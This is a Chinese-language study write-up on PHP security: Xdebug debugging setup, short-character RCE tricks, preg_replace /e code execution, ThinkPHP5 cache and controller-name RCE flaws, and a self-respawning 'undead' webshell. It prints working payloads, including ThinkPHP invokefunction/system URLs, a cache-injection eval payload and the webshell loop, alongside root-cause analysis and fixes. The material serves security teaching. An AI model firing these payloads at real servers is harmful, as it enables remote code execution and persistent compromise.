PHP安全漏洞实战:从环境配置到RCE攻击

PHP安全漏洞实战:从环境配置到RCE攻击


第一部分:环境配置(VS Code 调试 PHP)

1.1 整体思路

VS Code 调试 PHP 的核心链路只有三步:

复制代码
VS Code(PHP Debug 扩展) → 监听 9003 端口 → Xdebug → PHP 代码

三件事必须完成:

  1. 安装 PHP(推荐 7.3)
  2. 安装并配置 Xdebug
  3. VS Code 安装 PHP Debug 扩展,配置 launch.json

1.2 具体步骤

Step 1:确认 PHP 版本

bash 复制代码
php -v          # 查看版本
php --ini        # 查看 php.ini 位置

Step 2:安装 Xdebug(关键!)

  • 不要自己猜版本,去 https://xdebug.org/wizard
  • 创建 phpinfo.php(内容:<?php phpinfo(); ?>),浏览器访问后复制全部源码,粘贴到 Wizard
  • Wizard 会告诉你:下载哪个文件、32/64位、TS还是NTS、放哪个目录、php.ini 怎么配

Step 3:配置 php.ini

ini 复制代码
[xdebug]
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
  • 注意:Xdebug 3 默认端口是 9003,不是旧版的 9000
  • Windows 上 zend_extension 可能需要写完整路径,如 "C:\php\ext\php_xdebug.dll"
  • 如果使用 PHPStudy 自带的 xdebug,注意它是 2.x 版本(适配 PHP5),PHP 7.3 需要 3.x 版本,必须删掉旧版手动下载新版

Step 4:重启服务

  • 改完 php.ini 必须重启 PHP 服务
  • 命令行 PHP 直接重跑脚本就行
  • Apache: sudo systemctl restart apache2
  • Nginx + PHP-FPM: sudo systemctl restart php-fpm

Step 5:验证 Xdebug 是否生效

bash 复制代码
php -v          # 看输出有没有 Xdebug 字样
php -m | grep -i xdebug

网页环境重新访问 phpinfo.php,页面应能看到 Xdebug 区块。

Step 6:VS Code 配置 launch.json

项目根目录创建 .vscode/launch.json

json 复制代码
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Listen for Xdebug",
      "type": "php",
      "request": "launch",
      "port": 9003
    },
    {
      "name": "Debug current PHP file",
      "type": "php",
      "request": "launch",
      "program": "${file}",
      "cwd": "${fileDirname}",
      "port": 9003
    }
  ]
}
  • Listen for Xdebug:调试网页 PHP 项目
  • Debug current PHP file:调试当前打开的 PHP 文件

Step 7:开始调试

  1. 在代码左侧点击添加断点(小红点)
  2. 打开左侧"运行和调试"面板
  3. 选择对应配置,点绿色启动按钮
  4. 浏览器访问 PHP 页面,执行到断点会自动停住

第二部分:有限字符 RCE(远程代码执行)回顾

2.1 16 字符 RCE 的三种方式

当只有 16 个字符可用时,三种突破方法:

  1. 反引号执行命令 :利用 PHP 的反引号(`````)可以执行系统命令,类似 shell_exec()
  2. file_put_contents + 伪协议包含:写入文件再用伪协议包含执行
  3. 上传临时文件 + 回调函数 :利用 PHP 上传临时文件机制,配合 ? 通配符匹配临时文件名,配合变长参数技巧

2.2 文件生成的技巧

  • ls -T 按时间倒序排列文件(新文件在前)
  • base64 编码的文件名会被特殊处理,解码后写入目标文件
  • 当禁用下划线、美元符时,用 ? 通配符匹配临时文件,但要注意临时文件夹文件太多时匹配可能失败

第三部分:preg_replace /e 模式下的代码执行(重点!)

这是本节课最核心的知识点,三个坑层层递进,必须彻底理解。

3.1 漏洞代码

php 复制代码
<?php
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',        // 第一个参数:正则匹配模式
        'strtolower("\\1")',         // 第二个参数:替换内容
        $str                         // 第三个参数:原始字符串
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag() {
    @eval($_GET['cmd']);
}
?>

3.2 preg_replace 函数理解

preg_replace(正则模式, 替换成什么, 原始字符串)

  • 第一个参数:正则表达式,用来匹配原始字符串中的内容
  • 第二个参数\1 表示第一个捕获分组的内容(正则中用括号 () 表示分组)
  • 第三个参数:要被处理的原始字符串
  • /e 修饰符:相当于 eval(),会让替换结果被当作 PHP 代码执行!

3.3 第一个坑:\1 的含义

'strtolower("\\1")' 中:

  • \\1 转义后变成 \1
  • \1 在正则中表示第一个子匹配项(第一个括号捕获的内容)
  • 所以 /e 模式下,替换后的内容会被 eval 执行,\1 会被替换成实际匹配到的内容

3.4 第二个坑:GET 传参的特殊字符转换

官方 payload 是 /?.*={${phpinfo()}}

  • 传参后变成:preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()})
  • 但是 :PHP 中 GET 参数名 . 会被自动转换成 _
  • 所以 .* 传进去变成了 _*,正则匹配失败,代码无法执行

解决方案 :换正则表达式,用 \S* 代替 .*

  • \S 匹配所有非空白字符(字母、数字、符号等可见字符都算)
  • \S* 匹配 0 个或多个非空白字符
  • \S 中的反斜杠不会被 PHP 自动转换,所以能正常工作!

payload 改为:?\S*={${phpinfo()}}

3.5 第三个坑:为什么需要 ${phpinfo()} 这种形式?

这里涉及 PHP 的双引号变量解析机制:

  • 双引号 中的变量会被解析执行,单引号中的变量原样输出
  • ${phpinfo()} 中,大括号里的 phpinfo() 会被当作变量先执行
  • 执行后 phpinfo() 返回 true(布尔值),变成 ${1},即变量名为 "1" 的变量
  • 这就是 PHP 的可变变量机制

关键理解

php 复制代码
// 双引号会解析大括号里的内容
$str = "${phpinfo()}";  // 先执行 phpinfo(),返回 true,变成 ${1}

// 单引号不会解析,原样输出
$str = '${phpinfo()}';  // 就是字符串 "${phpinfo()}"

整个执行链条

复制代码
{${phpinfo()}}
  → 先执行 phpinfo(),返回 true
  → 变成 ${1}
  → 1 被当作变量名解析
  → strtolower 处理
  → 最终输出

3.6 几个重要的验证例子

php 复制代码
var_dump(phpinfo());                              // 结果:布尔 true
var_dump(strtolower(phpinfo()));                   // 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','${phpinfo()}'));  // 结果:字符串 '11'

第一个 1 是 phpinfo() 返回 true 转成字符串 "1",第二个 1 是替换内容中的 "1"。

3.7 调用 getFlag() 函数

php 复制代码
payload: ?\S*=${getFlag()}&cmd=phpinfo();
  • 通过 ${getFlag()} 先执行 getFlag 函数
  • getFlag 函数内部有 @eval($_GET['cmd'])
  • cmd 参数传入 phpinfo(),实现代码执行

3.8 防御方法

把双引号换成单引号:

php 复制代码
// 危险(双引号会解析变量)
'strtolower("\\1")'

// 安全(单引号不解析变量)
"strtolower('\\1')"

3.9 版本兼容性

  • /e 修饰符在 PHP 5.6 中会提示废弃但能执行
  • PHP 7.3 中 /e 完全不被支持,直接报错
  • 漏洞利用需要 PHP 7.3 之前版本

第四部分:ThinkPHP 框架基础

4.1 框架简介

  • ThinkPHP 是国产轻量级 PHP Web 开发框架,18 年历史
  • 早期市场占有率 70-80%,中文文档完善
  • 从 2.0 发展到现在的 8.0
  • 就像"毛坯房框架",提供底层架构,开发者只需装修业务功能

4.2 框架搭建(手动安装)

核心框架https://github.com/top-think/framework

外部框架https://github.com/top-think/think

搭建步骤:

  1. 下载外部框架(think),解压到 www/tp5010
  2. tp5010 下创建 thinkphp 文件夹
  3. 下载核心框架(framework),放入 thinkphp 文件夹
  4. 配置虚拟主机(Nginx/Apache),指向 public 目录
  5. 修改 hosts 文件:C:\Windows\System32\drivers\etc\hosts,添加 127.0.0.1 tp5010
  6. 重启 Web 服务

4.3 DNS 解析顺序

  1. 先查本地缓存
  2. 找不到再查 hosts 文件
  3. 最后才请求 DNS 服务器

所以修改 hosts 文件就能实现本地域名劫持。

4.4 强制路由 vs 兼容模式

  • 强制路由模式 :所有请求必须通过定义好的路由规则访问,不能直接 模块/控制器/方法 访问
  • 兼容模式 :允许传统方式访问,如 ?s=模块/控制器/方法
  • ThinkPHP 默认关闭强制路由,开启兼容模式 ------ 这是漏洞的根源!

第五部分:ThinkPHP5 缓存 RCE 漏洞(代码执行 8)

影响版本:5.0.0 <= ThinkPHP5 <= 5.0.10

5.1 漏洞原理

缓存类将数据序列化后直接存储在 .php 文件中,缓存文件名和目录可预测,攻击者可以写入 webshell。

5.2 漏洞代码

php 复制代码
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
    public function index()
    {
        Cache::set("name", input("get.username"));
        return 'Cache success';
    }
}

5.3 攻击 payload

复制代码
http://localhost/tpdemo/public/?username=mochazz123%0d%0a@eval($_GET[_]);// 

5.4 漏洞分析(逐层深入)

第一层:Cache::set 调用链

复制代码
Cache::set("name", 用户输入)
  → init() 单例初始化
  → 根据配置 type 决定驱动(默认 file)
  → 实例化 think\cache\driver\File 类
  → 调用 File 类的 set 方法

第二层:缓存文件名生成

复制代码
getCacheKey("name")
  → md5("name") = "b068931cc450442b63f5b3d276ea4297"(32位)
  → 前 2 位作为子目录:b0/
  → 后 30 位作为文件名:68931cc450442b63f5b3d276ea4297.php
  → 完整路径:runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php

关键点

  • 缓存文件路径完全可预测(只要知道键名)
  • 文件后缀是 .php,可以直接执行
  • 写入内容前有 // 注释符,但可以用换行符绕过

第三层:绕过注释符

写入缓存时,内容前面会拼接 // 注释符:

php 复制代码
//序列化数据

正常情况这行注释不会执行。但攻击者通过 %0d%0a(URL 编码的 \r\n 换行符)把恶意代码换到下一行:

复制代码
//mochazz123
@eval($_GET[_]);//序列化数据

这样 @eval($_GET[_]) 就逃出了注释范围,变成可执行代码!

第四层:序列化过程

  • 数据先经过序列化(serialize),如 s:30:"mochazz123\r\n@eval($_GET[_]);//"
  • 默认不压缩(data_compress 为 false)
  • 最终通过 file_put_contents 写入文件

5.5 漏洞利用的限制

  1. 需要知道缓存键名(如本例中的 "name")
  2. 缓存文件写入 runtime 目录,而网站根目录是 public直接访问不到
  3. 如果配置了前缀 $this->options['prefix'],又多一层目录,更难猜
  4. 实际利用需要配合文件包含漏洞才能触发

5.6 官方修复

将数据拼接在 <?php ?> 标签之外,并在标签中拼接 exit() 函数,防止代码执行。


第六部分:ThinkPHP5 控制器名 RCE 漏洞(代码执行 9)

影响版本:5.0.7 <= ThinkPHP5 <= 5.0.225.1.0 <= ThinkPHP <= 5.1.30

6.1 漏洞原理

框架没有对控制器名进行合法校验,在未开启强制路由的情况下,用户可以调用任意类的任意方法,导致远程代码执行。

6.2 攻击 payload

5.1.x 版本:

复制代码
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x 版本:

复制代码
?s=index/think\config/get&name=database.username    # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg        # 包含任意文件
?s=index/\think\Config/load&file=../../t.php         # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

6.3 漏洞分析(逐层深入)

第一层:请求入口

兼容模式下,URL 格式:?s=模块/控制器/方法

例如:?s=index/\think\Request/input&filter[]=system&data=pwd

  • 模块:index
  • 控制器:\think\Request(注意反斜杠表示全局命名空间)
  • 方法:input
  • 参数:filter[]=system&data=pwd

第二层:参数传递

所有用户参数经过 Request 类的 input 方法处理:

复制代码
input('get.data')     → 获取 data 参数
input('get.filter')   → 获取 filter 参数

第三层:filterValue 方法中的 call_user_func

php 复制代码
// 简化逻辑
$filter = 'system';      // 来自 filter 参数
$value = 'pwd';          // 来自 data 参数
if (is_callable($filter)) {
    call_user_func($filter, $value);  // 相当于 system('pwd')
}

这就是核心:filter 参数指定函数名,data 参数指定函数参数,最终通过 call_user_func 执行任意命令!

第四层:反射调用机制

程序在 exec 函数中利用反射(Reflection)动态调用类的方法:

php 复制代码
// 正常调用
$obj = new Request();
$obj->input($args);

// 反射调用(框架内部使用的方式)
$reflect = new ReflectionMethod($class, $method);
$reflect->invokeArgs($instance, $args);

这里的类、方法、参数都是我们可以控制的,而且整个过程没有对控制器名合法性检测!

第五层:为什么 5.0.x 和 5.1.x 的 payload 不完全通用

两个版本已加载的类不同,导致可利用的类也不一样。比如:

  • 5.1.x 有 think\Containerthink\Request
  • 5.0.x 有 think\Configthink\Lang

6.4 核心调用链总结

复制代码
用户请求 ?s=index/\think\Request/input&filter[]=system&data=pwd
  → App::run()
    → 解析 s 参数,获取控制器名 \think\Request 和方法名 input
    → Dispatch::run()
      → exec() 反射调用
        → Request::input('get.data', '', 'system')
          → filterValue('pwd', 'system')
            → call_user_func('system', 'pwd')
              → 执行系统命令 pwd

6.5 官方修复(5.1.31 版本)

增加正则表达式 ^[A-Za-z](\w)*$ 对控制器名进行合法性检测:

  • 控制器名必须以英文字母开头
  • 只能包含字母、数字、下划线
  • 反斜杠 \ 开头会被直接拦截,返回 404

6.6 漏洞产生的两个关键原因

  1. 框架没有强制要求使用标准路由(默认关闭强制路由,开启兼容模式)
  2. 对控制器名的检测不够严格(没有过滤非法字符)

第七部分:调试技巧(重要!)

7.1 调试的重要性

老师反复强调:看十遍不如动手做一遍!

  • 光听懂不等于掌握,不动手实操很快就会遗忘
  • 面试时说不清漏洞原理,就是因为缺乏练习
  • 复杂漏洞涉及多个函数调用链,不用调试工具根本跟踪不了

7.2 调试思路

  1. 先设置断点(在关键函数入口处)
  2. 单步执行(F10 逐行、F11 进入函数)
  3. 观察变量值的变化
  4. 跟踪参数传递路径
  5. 验证分析结果是否与实际执行一致

7.3 代码追踪技巧

  • 在 PhpStorm 中按住 Ctrl 点击方法名可直接跳转到定义处
  • VS Code 如果没有此功能,需要按框架目录结构手动查找
  • ThinkPHP 框架目录结构:thinkphp/library/think/ 下按功能分类

第八部分:不死马(内存马)补充知识

8.1 不死马原理

php 复制代码
<?php
set_time_limit(0);       // 永不超时
ignore_user_abort(true); // 忽略用户断开
unlink(__FILE__);        // 删除自身文件

while(1) {
    file_put_contents('test.php', '恶意代码');
    sleep(5);
}
?>

8.2 不死马 vs 真正的内存马

特征 不死马 真正的内存马
磁盘文件 有(会生成文件) 无(不落盘)
可发现性 容易被发现 隐蔽性强
清除方式 重启 PHP 进程 重启 PHP 进程
原理 while 死循环 内存注入

8.3 清除方法

  • 杀掉 PHP 进程
  • 重启 PHP-FPM / Web 服务器
  • 检查 CPU 高占用(不死马和挖矿木马的常见特征)

相关推荐
看浪的路人1 小时前
第3讲:代码补全引擎
开发语言·windows·python
小小龙学IT2 小时前
Day 26-27 项目实战:从零构建一个高并发聊天室(epoll + 线程池)
linux·服务器·c语言·开发语言·网络
我就是妖怪2 小时前
【无标题】
开发语言
0566462 小时前
Python高级——迭代器
开发语言·python·学习
XR1234567882 小时前
学校图书馆网络改造,方案谁更优?
网络·数据库·php
初级代码游戏3 小时前
iOS开发 Swift 速记4:函数与闭包
开发语言·ios·swift
郭涤生3 小时前
C++ 零拷贝(Zero-Copy)
linux·开发语言·c++
回忆2012初秋3 小时前
C# 中的 EAP:基于事件的异步编程全面指南(一)
开发语言·c#
ty_xiumud3 小时前
以太网 MAC 详解:帧格式、位序、FCS 与收发流程
开发语言·macos·php